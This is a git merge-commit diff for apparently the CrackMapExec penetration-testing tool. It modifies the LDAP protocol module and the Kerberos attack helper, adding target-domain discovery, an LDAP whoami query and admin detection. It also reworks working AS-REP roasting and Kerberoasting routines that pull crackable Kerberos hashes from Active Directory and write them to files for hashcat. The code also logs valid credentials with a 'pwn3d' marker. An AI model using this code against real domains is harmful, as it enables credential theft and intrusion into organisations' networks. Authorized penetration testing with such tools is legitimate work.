Merge pull request #642 from nurfed1/master
LDAP protocol improvements and scan-network module bugfixmain
commit
fc57723678
|
@ -39,7 +39,7 @@ def get_dns_resolver(server, context):
|
||||||
return dnsresolver
|
return dnsresolver
|
||||||
|
|
||||||
def ldap2domain(ldap):
|
def ldap2domain(ldap):
|
||||||
return re.sub(',DC=', '.', ldap[ldap.find('dc='):], flags=re.I)[3:]
|
return re.sub(',DC=', '.', ldap[ldap.lower().find('dc='):], flags=re.I)[3:]
|
||||||
|
|
||||||
def new_record(rtype, serial):
|
def new_record(rtype, serial):
|
||||||
nr = DNS_RECORD()
|
nr = DNS_RECORD()
|
||||||
|
|
|
@ -20,9 +20,11 @@ from impacket.krb5.types import KerberosTime, Principal
|
||||||
from impacket.ldap import ldap as ldap_impacket
|
from impacket.ldap import ldap as ldap_impacket
|
||||||
from impacket.krb5 import constants
|
from impacket.krb5 import constants
|
||||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||||
|
import argparse
|
||||||
from io import StringIO
|
from io import StringIO
|
||||||
from pywerview.cli.helpers import *
|
from pywerview.cli.helpers import *
|
||||||
from pywerview.requester import RPCRequester
|
from pywerview.requester import RPCRequester
|
||||||
|
import re
|
||||||
|
|
||||||
ldap_error_status = {
|
ldap_error_status = {
|
||||||
"533":"STATUS_ACCOUNT_DISABLED",
|
"533":"STATUS_ACCOUNT_DISABLED",
|
||||||
|
@ -35,6 +37,22 @@ ldap_error_status = {
|
||||||
"50":"LDAP_INSUFFICIENT_ACCESS"
|
"50":"LDAP_INSUFFICIENT_ACCESS"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def get_conditional_action(baseAction):
|
||||||
|
class ConditionalAction(baseAction):
|
||||||
|
def __init__(self, option_strings, dest, **kwargs):
|
||||||
|
x = kwargs.pop('make_required', [])
|
||||||
|
super(ConditionalAction, self).__init__(option_strings, dest, **kwargs)
|
||||||
|
self.make_required = x
|
||||||
|
|
||||||
|
def __call__(self, parser, namespace, values, option_string=None):
|
||||||
|
for x in self.make_required:
|
||||||
|
x.required = True
|
||||||
|
super(ConditionalAction, self).__call__(parser, namespace, values, option_string)
|
||||||
|
|
||||||
|
return ConditionalAction
|
||||||
|
|
||||||
|
|
||||||
class ldap(connection):
|
class ldap(connection):
|
||||||
|
|
||||||
def __init__(self, args, db, host):
|
def __init__(self, args, db, host):
|
||||||
|
@ -46,6 +64,7 @@ class ldap(connection):
|
||||||
self.lmhash = ''
|
self.lmhash = ''
|
||||||
self.nthash = ''
|
self.nthash = ''
|
||||||
self.baseDN = ''
|
self.baseDN = ''
|
||||||
|
self.targetDomain = ''
|
||||||
self.remote_ops = None
|
self.remote_ops = None
|
||||||
self.bootkey = None
|
self.bootkey = None
|
||||||
self.output_filename = None
|
self.output_filename = None
|
||||||
|
@ -63,10 +82,12 @@ class ldap(connection):
|
||||||
ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
|
ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
|
||||||
ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
||||||
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
||||||
ldap_parser.add_argument("--no-smb", action='store_true', help='No smb connection')
|
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(argparse._StoreTrueAction), make_required=[], help='No smb connection')
|
||||||
|
|
||||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||||
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
|
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
|
||||||
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
|
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
|
||||||
|
no_smb_arg.make_required = [domain_arg]
|
||||||
|
|
||||||
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||||
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
|
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
|
||||||
|
@ -89,6 +110,32 @@ class ldap(connection):
|
||||||
'hostname': self.hostname
|
'hostname': self.hostname
|
||||||
})
|
})
|
||||||
|
|
||||||
|
def get_ldap_info(self, host):
|
||||||
|
try:
|
||||||
|
ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % host)
|
||||||
|
|
||||||
|
resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0)
|
||||||
|
for item in resp:
|
||||||
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||||
|
continue
|
||||||
|
target = None
|
||||||
|
targetDomain = None
|
||||||
|
baseDN = None
|
||||||
|
try:
|
||||||
|
for attribute in item['attributes']:
|
||||||
|
if str(attribute['type']) == 'defaultNamingContext':
|
||||||
|
baseDN = str(attribute['vals'][0])
|
||||||
|
targetDomain = re.sub(',DC=', '.', baseDN[baseDN.lower().find('dc='):], flags=re.I)[3:]
|
||||||
|
if str(attribute['type']) == 'dnsHostName':
|
||||||
|
target = str(attribute['vals'][0])
|
||||||
|
except Exception as e:
|
||||||
|
logging.debug("Exception:", exc_info=True)
|
||||||
|
logging.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||||
|
except OSError as e:
|
||||||
|
self.logger.error(u'Error connecting to the host.')
|
||||||
|
|
||||||
|
return [target, targetDomain, baseDN]
|
||||||
|
|
||||||
def get_os_arch(self):
|
def get_os_arch(self):
|
||||||
try:
|
try:
|
||||||
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
|
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
|
||||||
|
@ -113,6 +160,20 @@ class ldap(connection):
|
||||||
|
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
def get_ldap_username(self):
|
||||||
|
extendedRequest = ldapasn1_impacket.ExtendedRequest()
|
||||||
|
extendedRequest['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami
|
||||||
|
|
||||||
|
response = self.ldapConnection.sendReceive(extendedRequest)
|
||||||
|
for message in response:
|
||||||
|
searchResult = message['protocolOp'].getComponent()
|
||||||
|
if searchResult['resultCode'] == ldapasn1_impacket.ResultCode('success'):
|
||||||
|
responseValue = searchResult['responseValue']
|
||||||
|
if responseValue.hasValue():
|
||||||
|
value = responseValue.asOctets().decode(responseValue.encoding)[2:]
|
||||||
|
return value.split('\\')[1]
|
||||||
|
return ''
|
||||||
|
|
||||||
def enum_host_info(self):
|
def enum_host_info(self):
|
||||||
# smb no open, specify the domain
|
# smb no open, specify the domain
|
||||||
if self.args.no_smb:
|
if self.args.no_smb:
|
||||||
|
@ -177,46 +238,55 @@ class ldap(connection):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def kerberos_login(self, domain, aesKey, kdcHost):
|
def kerberos_login(self, domain, aesKey, kdcHost):
|
||||||
|
# Get ldap info (target, targetDomain, baseDN)
|
||||||
if self.kdcHost is not None:
|
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||||
target = self.kdcHost
|
|
||||||
else:
|
|
||||||
target = self.domain
|
|
||||||
self.kdcHost = self.domain
|
|
||||||
|
|
||||||
# Create the baseDN
|
|
||||||
self.baseDN = ''
|
|
||||||
domainParts = self.domain.split('.')
|
|
||||||
for i in domainParts:
|
|
||||||
self.baseDN += 'dc=%s,' % i
|
|
||||||
# Remove last ','
|
|
||||||
self.baseDN = self.baseDN[:-1]
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
|
# Connect to LDAP
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN)
|
||||||
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
|
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
|
||||||
self.aesKey, kdcHost=self.kdcHost)
|
self.aesKey, kdcHost=kdcHost)
|
||||||
|
|
||||||
out = u'{}{}'.format('{}\\'.format(self.domain),
|
if self.username == '':
|
||||||
self.username)
|
self.username = self.get_ldap_username()
|
||||||
|
|
||||||
|
self.check_if_admin()
|
||||||
|
|
||||||
|
# Prepare success credential text
|
||||||
|
out = u'{}\\{} {}'.format(domain,
|
||||||
|
self.username,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||||
|
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "389"
|
self.logger.extra['port'] = "389"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
|
||||||
|
if not self.args.local_auth:
|
||||||
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
if str(e).find('strongerAuthRequired') >= 0:
|
if str(e).find('strongerAuthRequired') >= 0:
|
||||||
# We need to try SSL
|
# We need to try SSL
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
|
# Connect to LDAPS
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
|
||||||
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
|
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
|
||||||
self.aesKey, kdcHost=self.kdcHost)
|
self.aesKey, kdcHost=kdcHost)
|
||||||
|
|
||||||
out = u'{}{}'.format('{}\\'.format(self.domain),
|
if self.username == '':
|
||||||
self.username)
|
self.username = self.get_ldap_username()
|
||||||
|
|
||||||
|
self.check_if_admin()
|
||||||
|
|
||||||
|
# Prepare success credential text
|
||||||
|
out = u'{}\\{} {}'.format(domain,
|
||||||
|
self.username,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||||
|
|
||||||
self.logger.extra['protocol'] = "LDAPS"
|
self.logger.extra['protocol'] = "LDAPS"
|
||||||
self.logger.extra['port'] = "636"
|
self.logger.extra['port'] = "636"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
|
||||||
|
if not self.args.local_auth:
|
||||||
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||||
else:
|
else:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
errorCode = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||||
|
@ -232,19 +302,8 @@ class ldap(connection):
|
||||||
self.password = password
|
self.password = password
|
||||||
self.domain = domain
|
self.domain = domain
|
||||||
|
|
||||||
if self.kdcHost is not None:
|
# Get ldap info (target, targetDomain, baseDN)
|
||||||
target = self.kdcHost
|
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||||
else:
|
|
||||||
target = domain
|
|
||||||
self.kdcHost = domain
|
|
||||||
|
|
||||||
# Create the baseDN
|
|
||||||
self.baseDN = ''
|
|
||||||
domainParts = self.kdcHost.split('.')
|
|
||||||
for i in domainParts:
|
|
||||||
self.baseDN += 'dc=%s,' % i
|
|
||||||
# Remove last ','
|
|
||||||
self.baseDN = self.baseDN[:-1]
|
|
||||||
|
|
||||||
if self.password == '' and self.args.asreproast:
|
if self.password == '' and self.args.asreproast:
|
||||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||||
|
@ -254,17 +313,17 @@ class ldap(connection):
|
||||||
hash_asreproast.write(hash_TGT + '\n')
|
hash_asreproast.write(hash_TGT + '\n')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Prepare success credential text
|
|
||||||
out = u'{}{}:{} {}'.format('{}\\'.format(domain),
|
|
||||||
username,
|
|
||||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
|
||||||
try:
|
try:
|
||||||
# Connect to LDAP
|
# Connect to LDAP
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
|
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
|
|
||||||
|
# Prepare success credential text
|
||||||
|
out = u'{}\\{}:{} {}'.format(domain,
|
||||||
|
self.username,
|
||||||
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "389"
|
self.logger.extra['port'] = "389"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
@ -278,11 +337,22 @@ class ldap(connection):
|
||||||
if str(e).find('strongerAuthRequired') >= 0:
|
if str(e).find('strongerAuthRequired') >= 0:
|
||||||
# We need to try SSL
|
# We need to try SSL
|
||||||
try:
|
try:
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
|
# Connect to LDAPS
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
|
self.check_if_admin()
|
||||||
|
|
||||||
|
# Prepare success credential text
|
||||||
|
out = u'{}\\{}:{} {}'.format(domain,
|
||||||
|
self.username,
|
||||||
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||||
self.logger.extra['protocol'] = "LDAPS"
|
self.logger.extra['protocol'] = "LDAPS"
|
||||||
self.logger.extra['port'] = "636"
|
self.logger.extra['port'] = "636"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
|
||||||
|
if not self.args.local_auth:
|
||||||
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
errorCode = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||||
|
@ -324,19 +394,8 @@ class ldap(connection):
|
||||||
self.username = username
|
self.username = username
|
||||||
self.domain = domain
|
self.domain = domain
|
||||||
|
|
||||||
if self.kdcHost is not None:
|
# Get ldap info (target, targetDomain, baseDN)
|
||||||
target = self.kdcHost
|
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||||
else:
|
|
||||||
target = domain
|
|
||||||
self.kdcHost = domain
|
|
||||||
|
|
||||||
# Create the baseDN
|
|
||||||
self.baseDN = ''
|
|
||||||
domainParts = self.kdcHost.split('.')
|
|
||||||
for i in domainParts:
|
|
||||||
self.baseDN += 'dc=%s,' % i
|
|
||||||
# Remove last ','
|
|
||||||
self.baseDN = self.baseDN[:-1]
|
|
||||||
|
|
||||||
if self.hash == '' and self.args.asreproast:
|
if self.hash == '' and self.args.asreproast:
|
||||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
|
||||||
|
@ -346,14 +405,16 @@ class ldap(connection):
|
||||||
hash_asreproast.write(hash_TGT + '\n')
|
hash_asreproast.write(hash_TGT + '\n')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Connect to LDAP
|
|
||||||
try:
|
try:
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
|
# Connect to LDAP
|
||||||
|
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
self.check_if_admin()
|
self.check_if_admin()
|
||||||
out = u'{}{}:{} {}'.format('{}\\'.format(domain),
|
|
||||||
username,
|
# Prepare success credential text
|
||||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
out = u'{}\\{}:{} {}'.format(domain,
|
||||||
|
self.username,
|
||||||
|
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||||
self.logger.extra['protocol'] = "LDAP"
|
self.logger.extra['protocol'] = "LDAP"
|
||||||
self.logger.extra['port'] = "389"
|
self.logger.extra['port'] = "389"
|
||||||
|
@ -367,11 +428,21 @@ class ldap(connection):
|
||||||
if str(e).find('strongerAuthRequired') >= 0:
|
if str(e).find('strongerAuthRequired') >= 0:
|
||||||
try:
|
try:
|
||||||
# We need to try SSL
|
# We need to try SSL
|
||||||
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
|
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
|
||||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||||
|
self.check_if_admin()
|
||||||
|
|
||||||
|
# Prepare success credential text
|
||||||
|
out = u'{}\\{}:{} {}'.format(domain,
|
||||||
|
self.username,
|
||||||
|
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||||
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||||
self.logger.extra['protocol'] = "LDAPS"
|
self.logger.extra['protocol'] = "LDAPS"
|
||||||
self.logger.extra['port'] = "636"
|
self.logger.extra['port'] = "636"
|
||||||
self.logger.success(out)
|
self.logger.success(out)
|
||||||
|
|
||||||
|
if not self.args.local_auth:
|
||||||
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||||
except ldap_impacket.LDAPSessionError as e:
|
except ldap_impacket.LDAPSessionError as e:
|
||||||
errorCode = str(e).split()[-2][:-1]
|
errorCode = str(e).split()[-2][:-1]
|
||||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
||||||
|
@ -573,7 +644,9 @@ class ldap(connection):
|
||||||
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
||||||
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
||||||
resp = self.search(searchFilter, attributes, 0)
|
resp = self.search(searchFilter, attributes, 0)
|
||||||
if resp:
|
if resp == []:
|
||||||
|
self.logger.highlight("No entries found!")
|
||||||
|
elif resp:
|
||||||
answers = []
|
answers = []
|
||||||
self.logger.info('Total of records returned %d' % len(resp))
|
self.logger.info('Total of records returned %d' % len(resp))
|
||||||
|
|
||||||
|
@ -621,6 +694,7 @@ class ldap(connection):
|
||||||
else:
|
else:
|
||||||
self.logger.highlight("No entries found!")
|
self.logger.highlight("No entries found!")
|
||||||
return
|
return
|
||||||
|
else:
|
||||||
self.logger.error("Error with the LDAP account used")
|
self.logger.error("Error with the LDAP account used")
|
||||||
|
|
||||||
def kerberoasting(self):
|
def kerberoasting(self):
|
||||||
|
@ -629,7 +703,9 @@ class ldap(connection):
|
||||||
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||||
attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
||||||
resp = self.search(searchFilter, attributes, 0)
|
resp = self.search(searchFilter, attributes, 0)
|
||||||
if resp:
|
if resp == []:
|
||||||
|
self.logger.highlight("No entries found!")
|
||||||
|
elif resp:
|
||||||
answers = []
|
answers = []
|
||||||
self.logger.info('Total of records returned %d' % len(resp))
|
self.logger.info('Total of records returned %d' % len(resp))
|
||||||
|
|
||||||
|
@ -686,13 +762,18 @@ class ldap(connection):
|
||||||
dejavue = []
|
dejavue = []
|
||||||
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
|
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
|
||||||
if sAMAccountName not in dejavue:
|
if sAMAccountName not in dejavue:
|
||||||
|
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName
|
||||||
|
|
||||||
try:
|
try:
|
||||||
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
principalName = Principal()
|
||||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain,
|
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
|
||||||
|
principalName.components = [downLevelLogonName]
|
||||||
|
|
||||||
|
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain,
|
||||||
self.kdcHost,
|
self.kdcHost,
|
||||||
TGT['KDC_REP'], TGT['cipher'],
|
TGT['KDC_REP'], TGT['cipher'],
|
||||||
TGT['sessionKey'])
|
TGT['sessionKey'])
|
||||||
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, SPN)
|
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
|
||||||
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
|
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
|
||||||
self.logger.highlight(u'{}'.format(r))
|
self.logger.highlight(u'{}'.format(r))
|
||||||
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
|
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
|
||||||
|
@ -700,7 +781,7 @@ class ldap(connection):
|
||||||
dejavue.append(sAMAccountName)
|
dejavue.append(sAMAccountName)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.debug("Exception:", exc_info=True)
|
logging.debug("Exception:", exc_info=True)
|
||||||
logging.error('SPN: %s - %s' % (SPN,str(e)))
|
logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
self.logger.highlight("No entries found!")
|
self.logger.highlight("No entries found!")
|
||||||
|
@ -874,3 +955,6 @@ class ldap(connection):
|
||||||
self.logger.error("No entries found!")
|
self.logger.error("No entries found!")
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -23,6 +23,7 @@ class KerberosAttacks:
|
||||||
self.username = connection.username
|
self.username = connection.username
|
||||||
self.password = connection.password
|
self.password = connection.password
|
||||||
self.domain = connection.domain
|
self.domain = connection.domain
|
||||||
|
self.targetDomain = connection.targetDomain
|
||||||
self.hash = connection.hash
|
self.hash = connection.hash
|
||||||
self.lmhash = ''
|
self.lmhash = ''
|
||||||
self.nthash = ''
|
self.nthash = ''
|
||||||
|
@ -142,7 +143,7 @@ class KerberosAttacks:
|
||||||
|
|
||||||
asReq = AS_REQ()
|
asReq = AS_REQ()
|
||||||
|
|
||||||
domain = self.domain.upper()
|
domain = self.targetDomain.upper()
|
||||||
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||||
|
|
||||||
pacRequest = KERB_PA_PAC_REQUEST()
|
pacRequest = KERB_PA_PAC_REQUEST()
|
||||||
|
|
Loading…
Reference in New Issue